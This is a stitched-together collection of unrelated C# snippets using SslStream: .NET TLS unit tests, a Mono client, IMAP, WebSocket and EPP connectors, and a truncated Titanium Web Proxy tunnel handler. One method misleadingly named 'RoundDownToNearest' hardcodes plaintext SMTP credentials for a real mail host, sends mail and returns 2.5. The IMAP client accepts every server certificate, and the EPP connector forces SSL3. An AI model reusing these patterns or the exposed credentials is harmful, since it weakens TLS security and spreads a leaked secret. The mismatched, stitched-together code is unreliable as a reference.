public async Task CertificateValidationClientServer_EndToEnd_Ok() { IPEndPoint endPoint = new IPEndPoint(IPAddress.IPv6Loopback, 0); var server = new TcpListener(endPoint); server.Start(); using (var clientConnection = new TcpClient(AddressFamily.InterNetworkV6)) { IPEndPoint serverEndPoint = (IPEndPoint)server.LocalEndpoint; Task clientConnect = clientConnection.ConnectAsync(serverEndPoint.Address, serverEndPoint.Port); Task<TcpClient> serverAccept = server.AcceptTcpClientAsync(); Assert.True( Task.WaitAll( new Task[] { clientConnect, serverAccept }, TestConfiguration.TestTimeoutSeconds * 1000), "Client/Server TCP Connect timed out."); using (TcpClient serverConnection = await serverAccept) using (SslStream sslClientStream = new SslStream( clientConnection.GetStream(), false, ClientSideRemoteServerCertificateValidation)) using (SslStream sslServerStream = new SslStream( serverConnection.GetStream(), false, ServerSideRemoteClientCertificateValidation)) { string serverName = _serverCertificate.GetNameInfo(X509NameType.SimpleName, false); string clientName = _clientCertificate.GetNameInfo(X509NameType.SimpleName, false); var clientCerts = new X509CertificateCollection(); clientCerts.Add(_clientCertificate); Task clientAuthentication = sslClientStream.AuthenticateAsClientAsync( serverName, clientCerts, TestConfiguration.DefaultSslProtocols, false); Task serverAuthentication = sslServerStream.AuthenticateAsServerAsync( _serverCertificate, true, TestConfiguration.DefaultSslProtocols, false); Assert.True( Task.WaitAll( new Task[] { clientAuthentication, serverAuthentication }, TestConfiguration.TestTimeoutSeconds * 1000), "Client/Server Authentication timed out."); } } }
public async Task ServerAllowNoEncryption_ClientRequireEncryption_ConnectWithEncryption() { using (var serverAllowNoEncryption = new DummyTcpServer( new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.AllowNoEncryption)) using (var client = new TcpClient()) { await client.ConnectAsync(serverAllowNoEncryption.RemoteEndPoint.Address, serverAllowNoEncryption.RemoteEndPoint.Port); using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.RequireEncryption)) { await sslStream.AuthenticateAsClientAsync("localhost", null, SslProtocolSupport.DefaultSslProtocols, false); _log.WriteLine("Client({0}) authenticated to server({1}) with encryption cipher: {2} {3}-bit strength", client.Client.LocalEndPoint, client.Client.RemoteEndPoint, sslStream.CipherAlgorithm, sslStream.CipherStrength); Assert.NotEqual(CipherAlgorithmType.Null, sslStream.CipherAlgorithm); Assert.True(sslStream.CipherStrength > 0); } } }
public void ClientDefaultEncryption_ServerRequireEncryption_ConnectWithEncryption() { using (var serverRequireEncryption = new DummyTcpServer( new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.RequireEncryption)) using (var client = new TcpClient()) { client.Connect(serverRequireEncryption.RemoteEndPoint); using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null)) { sslStream.AuthenticateAsClient("localhost", null, TestConfiguration.DefaultSslProtocols, false); _log.WriteLine("Client({0}) authenticated to server({1}) with encryption cipher: {2} {3}-bit strength", client.Client.LocalEndPoint, client.Client.RemoteEndPoint, sslStream.CipherAlgorithm, sslStream.CipherStrength); Assert.True(sslStream.CipherAlgorithm != CipherAlgorithmType.Null, "Cipher algorithm should not be NULL"); Assert.True(sslStream.CipherStrength > 0, "Cipher strength should be greater than 0"); } } }
static void Main(string[] args) { string host = "localhost"; if (args.Length > 0) host = args[0]; SslProtocols protocol = SslProtocols.Tls; if (args.Length > 1) { switch (args [1].ToUpper ()) { case "SSL": protocol = SslProtocols.Ssl3; break; } } X509CertificateCollection certificates = null; if (args.Length > 2) { string password = null; if (args.Length > 3) password = args [3]; p12 = Mono.Security.X509.PKCS12.LoadFromFile(args [2], password); certificates = new X509CertificateCollection (); foreach (Mono.Security.X509.X509Certificate cert in p12.Certificates) { certificates.Add(new X509Certificate2(args [2], password)); break; } } TcpClient client = new TcpClient (); client.Connect (host, 4433); SslStream ssl = new SslStream (client.GetStream(), false, new RemoteCertificateValidationCallback (CertificateValidation), new LocalCertificateSelectionCallback (ClientCertificateSelection)); ssl.AuthenticateAsClient (host, certificates, protocol, false); StreamWriter sw = new StreamWriter (ssl, System.Text.Encoding.ASCII); sw.WriteLine ("GET /clientcert.aspx{0}", Environment.NewLine); sw.Flush (); StreamReader sr = new StreamReader (ssl); Console.WriteLine (sr.ReadToEnd ()); }
public void SslStream_StreamToStream_Successive_ClientWrite_Success() { byte[] recvBuf = new byte[sampleMsg.Length]; MockNetwork network = new MockNetwork(); using (var clientStream = new FakeNetworkStream(false, network)) using (var serverStream = new FakeNetworkStream(true, network)) using (var clientSslStream = new SslStream(clientStream, false, AllowAnyServerCertificate)) using (var serverSslStream = new SslStream(serverStream)) { bool result = DoHandshake(clientSslStream, serverSslStream, TaskTimeSpan); Assert.True(result, "Handshake completed."); clientSslStream.Write(sampleMsg); serverSslStream.Read(recvBuf, 0, sampleMsg.Length); clientSslStream.Write(sampleMsg); // TODO Issue#3802 // The condition on which read method (UpdateReadStream) in FakeNetworkStream does a network read is flawed. // That works fine in single read/write but fails in multi read write as stream size can be more, but real data can be < stream size. // So I am doing an explicit read here. This issue is specific to test only & irrespective of xplat. serverStream.DoNetworkRead(); serverSslStream.Read(recvBuf, 0, sampleMsg.Length); Assert.True(VerifyOutput(recvBuf, sampleMsg), "verify second read data is as expected."); } }
public void SslStream_StreamToStream_Successive_ClientWrite_Sync_Success() { byte[] recvBuf = new byte[_sampleMsg.Length]; VirtualNetwork network = new VirtualNetwork(); using (var clientStream = new VirtualNetworkStream(network, isServer: false)) using (var serverStream = new VirtualNetworkStream(network, isServer: true)) using (var clientSslStream = new SslStream(clientStream, false, AllowAnyServerCertificate)) using (var serverSslStream = new SslStream(serverStream)) { bool result = DoHandshake(clientSslStream, serverSslStream); Assert.True(result, "Handshake completed."); clientSslStream.Write(_sampleMsg); serverSslStream.Read(recvBuf, 0, _sampleMsg.Length); Assert.True(VerifyOutput(recvBuf, _sampleMsg), "verify first read data is as expected."); clientSslStream.Write(_sampleMsg); serverSslStream.Read(recvBuf, 0, _sampleMsg.Length); Assert.True(VerifyOutput(recvBuf, _sampleMsg), "verify second read data is as expected."); } }
public async Task ServerNoEncryption_ClientNoEncryption_ConnectWithNoEncryption() { using (var serverNoEncryption = new DummyTcpServer( new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.NoEncryption)) using (var client = new TcpClient()) { await client.ConnectAsync(serverNoEncryption.RemoteEndPoint.Address, serverNoEncryption.RemoteEndPoint.Port); using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.NoEncryption)) { if (SupportsNullEncryption) { await sslStream.AuthenticateAsClientAsync("localhost", null, SslProtocolSupport.DefaultSslProtocols, false); _log.WriteLine("Client authenticated to server({0}) with encryption cipher: {1} {2}-bit strength", serverNoEncryption.RemoteEndPoint, sslStream.CipherAlgorithm, sslStream.CipherStrength); CipherAlgorithmType expected = CipherAlgorithmType.Null; Assert.Equal(expected, sslStream.CipherAlgorithm); Assert.Equal(0, sslStream.CipherStrength); } else { var ae = await Assert.ThrowsAsync<AuthenticationException>(() => sslStream.AuthenticateAsClientAsync("localhost", null, SslProtocolSupport.DefaultSslProtocols, false)); Assert.IsType<PlatformNotSupportedException>(ae.InnerException); } } } }
public async Task SslStream_StreamToStream_HandshakeAlert_Ok() { VirtualNetwork network = new VirtualNetwork(); using (var clientStream = new VirtualNetworkStream(network, isServer: false)) using (var serverStream = new VirtualNetworkStream(network, isServer: true)) using (var client = new SslStream(clientStream, true, AllowAnyServerCertificate)) using (var server = new SslStream(serverStream, true, FailClientCertificate)) using (X509Certificate2 certificate = Configuration.Certificates.GetServerCertificate()) { Task serverAuth = server.AuthenticateAsServerAsync(certificate); await client.AuthenticateAsClientAsync(certificate.GetNameInfo(X509NameType.SimpleName, false)); byte[] buffer = new byte[1024]; // Schannel semantics require that Decrypt is called to receive an alert. await client.WriteAsync(buffer, 0, buffer.Length); var exception = await Assert.ThrowsAsync<IOException>(() => client.ReadAsync(buffer, 0, buffer.Length)); Assert.IsType<Win32Exception>(exception.InnerException); var win32ex = (Win32Exception)exception.InnerException; // The Schannel HResults for each alert are documented here: // https://msdn.microsoft.com/en-us/library/windows/desktop/dd721886(v=vs.85).aspx Assert.Equal(SEC_E_CERT_UNKNOWN, (uint)win32ex.NativeErrorCode); await Assert.ThrowsAsync<AuthenticationException>(() => serverAuth); await Assert.ThrowsAsync<AuthenticationException>(() => server.WriteAsync(buffer, 0, buffer.Length)); await Assert.ThrowsAsync<AuthenticationException>(() => server.ReadAsync(buffer, 0, buffer.Length)); } }
public async Task SslStream_StreamToStream_ServerInitiatedCloseNotify_Ok() { VirtualNetwork network = new VirtualNetwork(); using (var clientStream = new VirtualNetworkStream(network, isServer: false)) using (var serverStream = new VirtualNetworkStream(network, isServer: true)) using (var client = new SslStream(clientStream, true, AllowAnyServerCertificate)) using (var server = new SslStream(serverStream)) using (X509Certificate2 certificate = Configuration.Certificates.GetServerCertificate()) { var handshake = new Task[2]; handshake[0] = server.AuthenticateAsServerAsync(certificate); handshake[1] = client.AuthenticateAsClientAsync(certificate.GetNameInfo(X509NameType.SimpleName, false)); await Task.WhenAll(handshake).TimeoutAfter(TestConfiguration.PassingTestTimeoutMilliseconds); var readBuffer = new byte[1024]; await server.ShutdownAsync(); int bytesRead = await client.ReadAsync(readBuffer, 0, readBuffer.Length); // close_notify received by the client. Assert.Equal(0, bytesRead); await client.ShutdownAsync(); bytesRead = await server.ReadAsync(readBuffer, 0, readBuffer.Length); // close_notify received by the server. Assert.Equal(0, bytesRead); } }
void SSLAuthenticateTest() { var client = new TcpClient (); String hosturl = "115.239.211.112";//www.baidu.com; client.Connect (hosturl, 443); using (var stream = client.GetStream ()) { Debug.Log("CONNECTING "); var ostream = stream as Stream; if (true) { ostream = new SslStream (stream, false, new RemoteCertificateValidationCallback (ValidateServerCertificate)); try { var ssl = ostream as SslStream; ssl.AuthenticateAsClient (hosturl); } catch (Exception e) { Debug.Log ("Exception: " + e.Message); } } } }
//Encryption internal WebSocketClient(Socket s,X509Certificate cert) { this.Socket = s; var ns = new NetworkStream(s,false); var ss = new SslStream(ns, false); ss.AuthenticateAsServer(cert,false,SslProtocols.Tls12,false); this.stream = ss; }
public async void SslStream_SendReceiveOverNetworkStream_Ok() { TcpListener listener = new TcpListener(IPAddress.Any, 0); using (X509Certificate2 serverCertificate = Configuration.Certificates.GetServerCertificate()) using (TcpClient client = new TcpClient()) { listener.Start(); Task clientConnectTask = client.ConnectAsync(IPAddress.Loopback, ((IPEndPoint)listener.LocalEndpoint).Port); Task<TcpClient> listenerAcceptTask = listener.AcceptTcpClientAsync(); await Task.WhenAll(clientConnectTask, listenerAcceptTask); TcpClient server = listenerAcceptTask.Result; using (SslStream clientStream = new SslStream( client.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null, EncryptionPolicy.RequireEncryption)) using (SslStream serverStream = new SslStream( server.GetStream(), false, null, null, EncryptionPolicy.RequireEncryption)) { Task clientAuthenticationTask = clientStream.AuthenticateAsClientAsync( serverCertificate.GetNameInfo(X509NameType.SimpleName, false), null, SslProtocols.Tls12, false); Task serverAuthenticationTask = serverStream.AuthenticateAsServerAsync( serverCertificate, false, SslProtocols.Tls12, false); await Task.WhenAll(clientAuthenticationTask, serverAuthenticationTask); byte[] readBuffer = new byte[256]; Task<int> readTask = clientStream.ReadAsync(readBuffer, 0, readBuffer.Length); byte[] writeBuffer = new byte[256]; Task writeTask = clientStream.WriteAsync(writeBuffer, 0, writeBuffer.Length); bool result = Task.WaitAll( new Task[1] { writeTask }, TestConfiguration.PassingTestTimeoutMilliseconds); Assert.True(result, "WriteAsync timed-out."); } } }
public async Task SslStream_AuthenticateAsClient_AllSupported_Success() { SslStream stream = new SslStream(new FakeStream()); await stream.AuthenticateAsClientAsync( "host", null, SslProtocolSupport.SupportedSslProtocols, false); }
public TestBase() { var network = new VirtualNetwork(); var clientNet = new VirtualNetworkStream(network, false); var serverNet = new VirtualNetworkStream(network, true); _clientStream = new SslStream(clientNet, false, AllowAnyServerCertificate); _serverStream = new SslStream(serverNet, false, AllowAnyServerCertificate); }
public async Task SslStream_AuthenticateAsClient_AllUnsuported_Fails() { SslStream stream = new SslStream(new FakeStream()); await Assert.ThrowsAsync<NotSupportedException>( () => stream.AuthenticateAsClientAsync( "host", null, SslProtocolSupport.UnsupportedSslProtocols, false)); }
public async Task CertificateValidationRemoteServer_EndToEnd_Ok() { using (var client = new TcpClient(AddressFamily.InterNetwork)) { await client.ConnectAsync(TestSettings.Http.SecureHost, 443); using (SslStream sslStream = new SslStream(client.GetStream(), false, RemoteHttpsCertValidation, null)) { await sslStream.AuthenticateAsClientAsync(TestSettings.Http.SecureHost); } } }
public async Task CertificateValidationRemoteServer_EndToEnd_Ok() { using (var client = new TcpClient(AddressFamily.InterNetwork)) { await client.ConnectAsync(Configuration.Security.TlsServer.IdnHost, Configuration.Security.TlsServer.Port); using (SslStream sslStream = new SslStream(client.GetStream(), false, RemoteHttpsCertValidation, null)) { await sslStream.AuthenticateAsClientAsync(Configuration.Security.TlsServer.IdnHost); } } }
public void SslStream_StreamToStream_Authentication_Success() { VirtualNetwork network = new VirtualNetwork(); using (var clientStream = new VirtualNetworkStream(network, isServer: false)) using (var serverStream = new VirtualNetworkStream(network, isServer: true)) using (var client = new SslStream(clientStream, false, AllowAnyServerCertificate)) using (var server = new SslStream(serverStream)) using (X509Certificate2 certificate = Configuration.Certificates.GetServerCertificate()) { Assert.True(DoHandshake(client, server), "Handshake completed in the allotted time"); } }
public void SslStreamConstructor_BadEncryptionPolicy_ThrowException() { using (var _remoteServer = new DummyTcpServer( new IPEndPoint(IPAddress.Loopback, 600), EncryptionPolicy.RequireEncryption)) using (var client = new TcpClient()) { client.Connect(_remoteServer.RemoteEndPoint); Assert.Throws<ArgumentException>(() => { SslStream sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, (EncryptionPolicy)100); }); } }
public async Task ServerRequireEncryption_ClientNoEncryption_NoConnect() { using (var serverRequireEncryption = new DummyTcpServer( new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.RequireEncryption)) using (var client = new TcpClient()) { await client.ConnectAsync(serverRequireEncryption.RemoteEndPoint.Address, serverRequireEncryption.RemoteEndPoint.Port); using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.NoEncryption)) { await Assert.ThrowsAsync<IOException>(() => sslStream.AuthenticateAsClientAsync("localhost", null, SslProtocolSupport.DefaultSslProtocols, false)); } } }
public void ServerRequireEncryption_ClientNoEncryption_NoConnect() { using (var serverRequireEncryption = new DummyTcpServer( new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.RequireEncryption)) using (var client = new TcpClient()) { client.Connect(serverRequireEncryption.RemoteEndPoint); using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.NoEncryption)) { Assert.Throws<IOException>(() => { sslStream.AuthenticateAsClient("localhost", null, TestConfiguration.DefaultSslProtocols, false); }); } } }
public async Task TransportContext_ConnectToServerWithSsl_GetExpectedChannelBindings() { using (var testServer = new DummyTcpServer( new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.RequireEncryption)) using (var client = new TcpClient()) { await client.ConnectAsync(testServer.RemoteEndPoint.Address, testServer.RemoteEndPoint.Port); using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null, EncryptionPolicy.RequireEncryption)) { await sslStream.AuthenticateAsClientAsync("localhost", null, SslProtocols.Tls, false); TransportContext context = sslStream.TransportContext; CheckTransportContext(context); } } }
public Double RoundDownToNearest() { string username = Convert.ToBase64String(System.Text.Encoding.ASCII.GetBytes("utrnclin11")); string password = Convert.ToBase64String(System.Text.Encoding.ASCII.GetBytes("Po1Da7si")); TcpClient tcpclient = new TcpClient(); tcpclient.Connect("mail.marvin-soft.de", 587); System.Net.Security.SslStream sslstream = new SslStream(tcpclient.GetStream()); //sslstream.AuthenticateAsClient("mail.marvin-soft.de"); // sslstream.LocalCertificate.Import( bool flag = sslstream.IsAuthenticated; byte[] read = new byte[10024]; // sslstream.Write(System.Text.Encoding.ASCII.GetBytes("yourYahooID"), 0, System.Text.Encoding.ASCII.GetBytes("satalaj").Length); System.IO.StreamWriter sw = new StreamWriter(sslstream); sw.WriteLine("EHLO mail.marvin-soft.de"); sw.WriteLine("AUTH LOGIN"); sw.WriteLine("utrnclin11"); //sw.Flush(); // sw.WriteLine("Po1Da7si"); sw.Flush(); System.Threading.Thread.Sleep(2000); sslstream.Read(read, 0, 1024); System.Threading.Thread.Sleep(3000); string str = System.Text.Encoding.ASCII.GetString(read); // System.Threading.Thread.Sleep(2000); sw.WriteLine("Mail From:<*****@*****.**>"); //sw.Flush(); sw.WriteLine("RCPT TO:<*****@*****.**>"); //sw.Flush(); sw.WriteLine("DATA "); //sw.Flush(); sw.WriteLine("This is test message from marvin-soft"); sw.WriteLine("."); //sw.WriteLine("quit"); sw.Flush(); sslstream.Read(read, 0, 10024); System.Threading.Thread.Sleep(3000); str = System.Text.Encoding.ASCII.GetString(read); return 2.5; }
public async Task ClientDefaultEncryption_ServerAllowNoEncryption_ConnectWithEncryption() { using (var serverAllowNoEncryption = new DummyTcpServer( new IPEndPoint(IPAddress.Loopback, 0), EncryptionPolicy.AllowNoEncryption)) using (var client = new TcpClient()) { await client.ConnectAsync(serverAllowNoEncryption.RemoteEndPoint.Address, serverAllowNoEncryption.RemoteEndPoint.Port); using (var sslStream = new SslStream(client.GetStream(), false, AllowAnyServerCertificate, null)) { await sslStream.AuthenticateAsClientAsync("localhost", null, SslProtocolSupport.DefaultSslProtocols, false); _log.WriteLine("Client authenticated to server({0}) with encryption cipher: {1} {2}-bit strength", serverAllowNoEncryption.RemoteEndPoint, sslStream.CipherAlgorithm, sslStream.CipherStrength); Assert.True(sslStream.CipherAlgorithm != CipherAlgorithmType.Null, "Cipher algorithm should not be NULL"); Assert.True(sslStream.CipherStrength > 0, "Cipher strength should be greater than 0"); } } }
public void SslStream_StreamToStream_Authentication_Success() { VirtualNetwork network = new VirtualNetwork(); using (var clientStream = new VirtualNetworkStream(network, isServer: false)) using (var serverStream = new VirtualNetworkStream(network, isServer: true)) using (var client = new SslStream(clientStream, false, AllowAnyServerCertificate)) using (var server = new SslStream(serverStream)) { X509Certificate2 certificate = TestConfiguration.GetServerCertificate(); Task[] auth = new Task[2]; auth[0] = client.AuthenticateAsClientAsync(certificate.GetNameInfo(X509NameType.SimpleName, false)); auth[1] = server.AuthenticateAsServerAsync(certificate); bool finished = Task.WaitAll(auth, TestConfiguration.PassingTestTimeoutMilliseconds); Assert.True(finished, "Handshake completed in the allotted time"); } }
protected override void OnGetSocket(SocketAsyncEventArgs e) { try { #if !SILVERLIGHT var sslStream = new SslStream(new NetworkStream(Client), false, ValidateRemoteCertificate); #else var sslStream = new SslStream(new NetworkStream(Client)); #endif sslStream.BeginAuthenticateAsClient(HostName, OnAuthenticated, sslStream); } catch (Exception exc) { if (!IsIgnorableException(exc)) OnError(exc); } }
public void SslStream_StreamToStream_Authentication_Success() { MockNetwork network = new MockNetwork(); using (var clientStream = new FakeNetworkStream(false, network)) using (var serverStream = new FakeNetworkStream(true, network)) using (var client = new SslStream(clientStream, false, AllowAnyServerCertificate)) using (var server = new SslStream(serverStream)) { X509Certificate2 certificate = TestConfiguration.GetServerCertificate(); Task[] auth = new Task[2]; auth[0] = client.AuthenticateAsClientAsync(certificate.Subject); auth[1] = server.AuthenticateAsServerAsync(certificate); bool finished = Task.WaitAll(auth, TimeSpan.FromSeconds(3)); Assert.True(finished, "Handshake completed in the allotted time"); } }
/// <summary> /// Connect to the registry end point /// </summary> public void Connect() { var client = new TcpClient(EPP_REGISTRY_COM, PORT); stream = new SslStream(client.GetStream(), false, ValidateServerCertificate); if (clientCertificate != null) { var clientCertificates = new X509CertificateCollection {clientCertificate}; stream.AuthenticateAsClient(EPP_REGISTRY_COM, clientCertificates, SslProtocols.Ssl3, false); } else { stream.AuthenticateAsClient(EPP_REGISTRY_COM); } }
public async Task RunTest() { using (var tcp = new TcpClient()) { _log.WriteLine("[Client] Connecting to {0}:{1}", _server, _port); await tcp.ConnectAsync(_server, _port); using (var tls = new SslStream(tcp.GetStream(), false, CertificateValidation)) { _log.WriteLine("[Client] Connected. Authenticating..."); await tls.AuthenticateAsClientAsync(_server, null, System.Security.Authentication.SslProtocols.Tls, false); string requestString = "GET / HTTP/1.0\r\nHost: servername.test.contoso.com\r\nUser-Agent: Testing application\r\n\r\n"; byte[] requestBuffer = Encoding.UTF8.GetBytes(requestString); _log.WriteLine("[Client] Sending request ({0} Bytes)", requestBuffer.Length); await tls.WriteAsync(requestBuffer, 0, requestBuffer.Length); _log.WriteLine("[Client] Waiting for reply..."); int bytesRead = 0; int chunks = 0; do { byte[] responseBuffer = new byte[2048]; bytesRead = await tls.ReadAsync(responseBuffer, 0, responseBuffer.Length); if (bytesRead > 0) { string responseString = Encoding.UTF8.GetString(responseBuffer, 0, bytesRead); _log.WriteLine("[Client {0}: {2} Bytes] Response: <<<<<{1}>>>>>", chunks, responseString, bytesRead); } if (bytesRead == 1 && chunks == 0) { AuxRecordDetected = true; } chunks++; } while (bytesRead > 0); } } }
public ImapClient(string hostname, int port, string username, string password, bool ssl = false) { this.hostname = hostname; this.username = username; this.password = password; this.port = port; this.ssl = ssl; RemoteCertificateValidationCallback validate = null; TcpClient client = new TcpClient(hostname, port); stream = client.GetStream(); SslStream sslStream = new SslStream(stream, false, validate ?? ((sender, cert, chain, err) => true)); sslStream.AuthenticateAsClient(hostname); stream = sslStream; List<string> str = readstreamdata("* OK"); string tagStr = GetTag(); writestreamdata(tagStr + "LOGIN " + QuoteString(username) + " " + QuoteString(password) + "\r\n"); readstreamdata(tagStr + "OK"); }
public ConnectionHandler(TcpClient clientSocket, string clientId, BlockingCollection <Sinter> messageQueue, SslStream sslStream) { this.clientSocket = clientSocket; this.clientId = clientId; // get network stream for reading, writing networkStream = sslStream; // initiate shared message queue this.messageQueue = messageQueue; RequestedProcessId = 0; // initialize xml writer ns.Add("", ""); serializer.UnknownNode += new XmlNodeEventHandler(Serializer_UnknownNode); serializer.UnknownAttribute += new XmlAttributeEventHandler(Serializer_UnknownAttribute); }
/// <summary> /// This is called when client is aware of proxy /// So for HTTPS requests client would send CONNECT header to negotiate a secure tcp tunnel via proxy /// </summary> /// <param name="endPoint">The explicit endpoint.</param> /// <param name="clientConnection">The client connection.</param> /// <returns>The task.</returns> private async Task handleClient(ExplicitProxyEndPoint endPoint, TcpClientConnection clientConnection) { var cancellationTokenSource = new CancellationTokenSource(); var cancellationToken = cancellationTokenSource.Token; var clientStream = new CustomBufferedStream(clientConnection.GetStream(), BufferPool); var clientStreamWriter = new HttpResponseWriter(clientStream, BufferPool); Task <TcpServerConnection> prefetchConnectionTask = null; bool closeServerConnection = false; bool calledRequestHandler = false; SslStream sslStream = null; try { string connectHostname = null; TunnelConnectSessionEventArgs connectArgs = null; // Client wants to create a secure tcp tunnel (probably its a HTTPS or Websocket request) if (await HttpHelper.IsConnectMethod(clientStream, BufferPool, cancellationToken) == 1) { // read the first line HTTP command string httpCmd = await clientStream.ReadLineAsync(cancellationToken); if (string.IsNullOrEmpty(httpCmd)) { return; } Request.ParseRequestLine(httpCmd, out string _, out string httpUrl, out var version); var httpRemoteUri = new Uri("http://" + httpUrl); connectHostname = httpRemoteUri.Host; var connectRequest = new ConnectRequest { RequestUri = httpRemoteUri, OriginalUrl = httpUrl, HttpVersion = version }; await HeaderParser.ReadHeaders(clientStream, connectRequest.Headers, cancellationToken); connectArgs = new TunnelConnectSessionEventArgs(this, endPoint, connectRequest, cancellationTokenSource); clientStream.DataRead += (o, args) => connectArgs.OnDataSent(args.Buffer, args.Offset, args.Count); clientStream.DataWrite += (o, args) => connectArgs.OnDataReceived(args.Buffer, args.Offset, args.Count); connectArgs.ProxyClient.Connection = clientConnection; connectArgs.ProxyClient.ClientStream = clientStream; await endPoint.InvokeBeforeTunnelConnectRequest(this, connectArgs, ExceptionFunc); // filter out excluded host names bool decryptSsl = endPoint.DecryptSsl && connectArgs.DecryptSsl; if (connectArgs.DenyConnect) { if (connectArgs.HttpClient.Response.StatusCode == 0) { connectArgs.HttpClient.Response = new Response { HttpVersion = HttpHeader.Version11, StatusCode = (int)HttpStatusCode.Forbidden, StatusDescription = "Forbidden" }; } // send the response await clientStreamWriter.WriteResponseAsync(connectArgs.HttpClient.Response, cancellationToken : cancellationToken); return; } if (await checkAuthorization(connectArgs) == false) { await endPoint.InvokeBeforeTunnelConnectResponse(this, connectArgs, ExceptionFunc); // send the response await clientStreamWriter.WriteResponseAsync(connectArgs.HttpClient.Response, cancellationToken : cancellationToken); return; } // write back successful CONNECT response var response = ConnectResponse.CreateSuccessfulConnectResponse(version); // Set ContentLength explicitly to properly handle HTTP 1.0 response.ContentLength = 0; response.Headers.FixProxyHeaders(); connectArgs.HttpClient.Response = response; await clientStreamWriter.WriteResponseAsync(response, cancellationToken : cancellationToken); var clientHelloInfo = await SslTools.PeekClientHello(clientStream, BufferPool, cancellationToken); bool isClientHello = clientHelloInfo != null; if (isClientHello) { connectRequest.TunnelType = TunnelType.Https; connectRequest.ClientHelloInfo = clientHelloInfo; } await endPoint.InvokeBeforeTunnelConnectResponse(this, connectArgs, ExceptionFunc, isClientHello); if (decryptSsl && isClientHello) { clientConnection.SslProtocol = clientHelloInfo.SslProtocol; connectRequest.RequestUri = new Uri("https://" + httpUrl); bool http2Supported = false; var alpn = clientHelloInfo.GetAlpn(); if (alpn != null && alpn.Contains(SslApplicationProtocol.Http2)) { // test server HTTP/2 support try { // todo: this is a hack, because Titanium does not support HTTP protocol changing currently var connection = await tcpConnectionFactory.GetServerConnection(this, connectArgs, isConnect : true, applicationProtocols : SslExtensions.Http2ProtocolAsList, noCache : true, cancellationToken : cancellationToken); http2Supported = connection.NegotiatedApplicationProtocol == SslApplicationProtocol.Http2; // release connection back to pool instead of closing when connection pool is enabled. await tcpConnectionFactory.Release(connection, true); } catch (Exception) { // ignore } } if (EnableTcpServerConnectionPrefetch) { IPAddress[] ipAddresses = null; try { // make sure the host can be resolved before creating the prefetch task ipAddresses = await Dns.GetHostAddressesAsync(connectArgs.HttpClient.Request.RequestUri.Host); } catch (SocketException) { } if (ipAddresses != null && ipAddresses.Length > 0) { // don't pass cancellation token here // it could cause floating server connections when client exits prefetchConnectionTask = tcpConnectionFactory.GetServerConnection(this, connectArgs, isConnect: true, applicationProtocols: null, noCache: false, cancellationToken: CancellationToken.None); } } X509Certificate2 certificate = null; try { sslStream = new SslStream(clientStream, false); string certName = HttpHelper.GetWildCardDomainName(connectHostname); certificate = endPoint.GenericCertificate ?? await CertificateManager.CreateServerCertificate(certName); // Successfully managed to authenticate the client using the fake certificate var options = new SslServerAuthenticationOptions(); if (EnableHttp2 && http2Supported) { options.ApplicationProtocols = clientHelloInfo.GetAlpn(); if (options.ApplicationProtocols == null || options.ApplicationProtocols.Count == 0) { options.ApplicationProtocols = SslExtensions.Http11ProtocolAsList; } } options.ServerCertificate = certificate; options.ClientCertificateRequired = false; options.EnabledSslProtocols = SupportedSslProtocols; options.CertificateRevocationCheckMode = X509RevocationMode.NoCheck; await sslStream.AuthenticateAsServerAsync(options, cancellationToken); #if NETSTANDARD2_1 clientConnection.NegotiatedApplicationProtocol = sslStream.NegotiatedApplicationProtocol; #endif // HTTPS server created - we can now decrypt the client's traffic clientStream = new CustomBufferedStream(sslStream, BufferPool); clientStream.DataRead += (o, args) => connectArgs.OnDecryptedDataSent(args.Buffer, args.Offset, args.Count); clientStream.DataWrite += (o, args) => connectArgs.OnDecryptedDataReceived(args.Buffer, args.Offset, args.Count); clientStreamWriter = new HttpResponseWriter(clientStream, BufferPool); } catch (Exception e) { var certName = certificate?.GetNameInfo(X509NameType.SimpleName, false); throw new ProxyConnectException( $"Couldn't authenticate host '{connectHostname}' with certificate '{certName}'.", e, connectArgs); } if (await HttpHelper.IsConnectMethod(clientStream, BufferPool, cancellationToken) == -1) { decryptSsl = false; } if (!decryptSsl) { await tcpConnectionFactory.Release(prefetchConnectionTask, true); prefetchConnectionTask = null; } } if (cancellationTokenSource.IsCancellationRequested) { throw new Exception("Session was terminated by user."); } // Hostname is excluded or it is not an HTTPS connect if (!decryptSsl || !isClientHello) { if (!isClientHello) { connectRequest.TunnelType = TunnelType.Websocket; } // create new connection to server. // If we detected that client tunnel CONNECTs without SSL by checking for empty client hello then // this connection should not be HTTPS. var connection = await tcpConnectionFactory.GetServerConnection(this, connectArgs, isConnect : true, applicationProtocols : SslExtensions.Http2ProtocolAsList, noCache : true, cancellationToken : cancellationToken); try { if (isClientHello) { int available = clientStream.Available; if (available > 0) { // send the buffered data var data = BufferPool.GetBuffer(); try { // clientStream.Available should be at most BufferSize because it is using the same buffer size await clientStream.ReadAsync(data, 0, available, cancellationToken); await connection.StreamWriter.WriteAsync(data, 0, available, true, cancellationToken); } finally { BufferPool.ReturnBuffer(data); } } var serverHelloInfo = await SslTools.PeekServerHello(connection.Stream, BufferPool, cancellationToken); ((ConnectResponse)connectArgs.HttpClient.Response).ServerHelloInfo = serverHelloInfo; } if (!clientStream.IsClosed && !connection.Stream.IsClosed) { await TcpHelper.SendRaw(clientStream, connection.Stream, BufferPool, null, null, connectArgs.CancellationTokenSource, ExceptionFunc); } } finally { await tcpConnectionFactory.Release(connection, true); } return; } } if (connectArgs != null && await HttpHelper.IsPriMethod(clientStream, BufferPool, cancellationToken) == 1) { // todo string httpCmd = await clientStream.ReadLineAsync(cancellationToken); if (httpCmd == "PRI * HTTP/2.0") { connectArgs.HttpClient.ConnectRequest.TunnelType = TunnelType.Http2; // HTTP/2 